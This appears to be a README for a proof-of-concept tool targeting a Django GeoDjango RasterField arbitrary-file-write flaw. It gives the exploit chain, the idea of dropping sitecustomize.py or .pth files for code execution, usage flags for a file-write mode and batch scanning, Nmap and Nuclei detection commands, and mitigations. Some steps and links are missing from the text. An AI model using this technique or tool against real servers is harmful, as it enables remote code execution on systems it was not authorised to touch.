CVE-2026-124827 (dubbed **Django4Shell**) is an arbitrary file write vulnerability in Django's GeoDjango module that leads to remote code execution. It is an incomplete fix for CVE-2026-87890, which itself was an incomplete fix for CVE-2026-15307.
The flaw exists in the `RasterField` assignment path: when a crafted JSON raster body with a non-default GDAL driver (e.g. EHdr) is submitted through a Django admin form or ModelForm, GDAL writes a file to an attacker-controlled path with attacker-controlled content. The write fires during field assignment (`SpatialProxy` -> `GDALRaster.__init__`), before any database interaction or `model.save()` call.
**Affected versions:** Django 5.2 `init_raster` -> `GDALRaster(user_input)`
4. `_preprocess_input` parses JSON string to dict
5. `GDALRaster.__init__` with dict input forces `write=True` and calls `capi.create_ds(driver, name, ...)`
6. With `driver: "EHdr"` and `name: "/app/sitecustomize"`, GDAL writes `/app/sitecustomize.bil`
7. Band data contains attacker payload bytes
The file write happens **before** any DB save. An attacker can drop `sitecustomize.py` (auto-imported by Python at startup) or `.pth` files into `site-packages` for code execution on the worker restart.
- Staff-level Django authentication (or any path that assigns to a RasterField)
- `django.contrib.gis` with a RasterField model exposed via admin/ModelForm/serializer
- GDAL with EHdr driver (ships in every standard GDAL build)
- Writable target path (project root / /tmp / site-packages)
- **Docker lab:** Vulnerable Django 5.2.19 + PostGIS + GDAL, ready in one command
- **Check mode:** Non-destructive vulnerability verification (`--check`)
- **Write mode:** Arbitrary file write to attacker-controlled path (`--write-file`)
- **Batch scanning:** Scan multiple targets from a file (`--targets`)
- **OS detection:** Auto-detects target OS from Server header, adjustable with `--target-os`
- **Nmap NSE script:** Non-exploitative authenticated detection scan
- **Nuclei template:** Authenticated vulnerability check for batch scanning
- **Benign by default:** Writes a marker string to `/tmp`, no weaponized payloads
git clone
Wait for `Lab ready: in the output.
In a separate terminal from the project root:
**Check if vulnerable (non-destructive):**
--content "CVE-2026-124827 file write proof"
docker compose -f docker/docker-compose.yml exec web cat /tmp/pwned.bil
Expected output: `CVE-2026-124827 file write proof`
| `--check` | Non-destructive vulnerability check |
| `--write-file PATH` | Write file to PATH on target (GDAL appends .bil) |
| `--force` | Skip HTTP status code checks (continue on unexpected responses) |
| `--url` | Target URL (auto-prefixes http:// if missing) |
| `--targets FILE` | File with one URL per line (--check only) |
| `--username` | Staff username (required) |
| `--password` | Staff password (required) |
| `--admin-path` | Admin URL path (default: admin) |
| `--app-label` | Django app label (default: poc) |
| `--model-name` | Model name (default: rasterdemo) |
| `--field-name` | RasterField form field name (default: raster) |
| `--target-os` | Target server OS: auto, linux, windows (default: auto) |
| `--csrf-token` | Pre-obtained CSRF token |
| `--timeout` | HTTP timeout in seconds (default: 10) |
Non-exploitative scan using the included NSE script:
nmap -p 8000 --script nmap/CVE-2026-124827.nse \
--script-args 'username=staff,password=staffpass' 127.0.0.1
nmap -p 8000 --script nmap/CVE-2026-124827.nse \
--script-args 'username=admin,password=secret,app-label=myapp,model-name=mymodel,field-name=raster_data' target.example.com
nuclei -t nuclei/CVE-2026-124827.yaml -u \
-var username=staff -var password=staffpass \
-var admin_path=admin -var app_label=poc \
-var model_name=rasterdemo -var field_name=raster
- **Upgrade Django** to 5.2.20, 6.0.11, or 6.1.4+
- Remove or restrict admin access to models with `RasterField`
- Set `editable=False` on RasterField explicitly
- Validate all user input before assigning to RasterField
See [docker/DOCKER.md](docker/DOCKER.md) for build/run commands.
| Django | 5.2.19 (last vulnerable 5.2.x) |
| GDAL | Debian default (includes EHdr) |
- [Django Security Release (Dec 2, 2026)](
- [Django Security Release (Oct 6, 2026)](
- [Django Security Release (Aug 4, 2026)](
- [The Hacker News: Django4Shell](
- [NVD: CVE-2026-124827](
For authorized testing and research only. See [SECURITY.md](SECURITY.md).
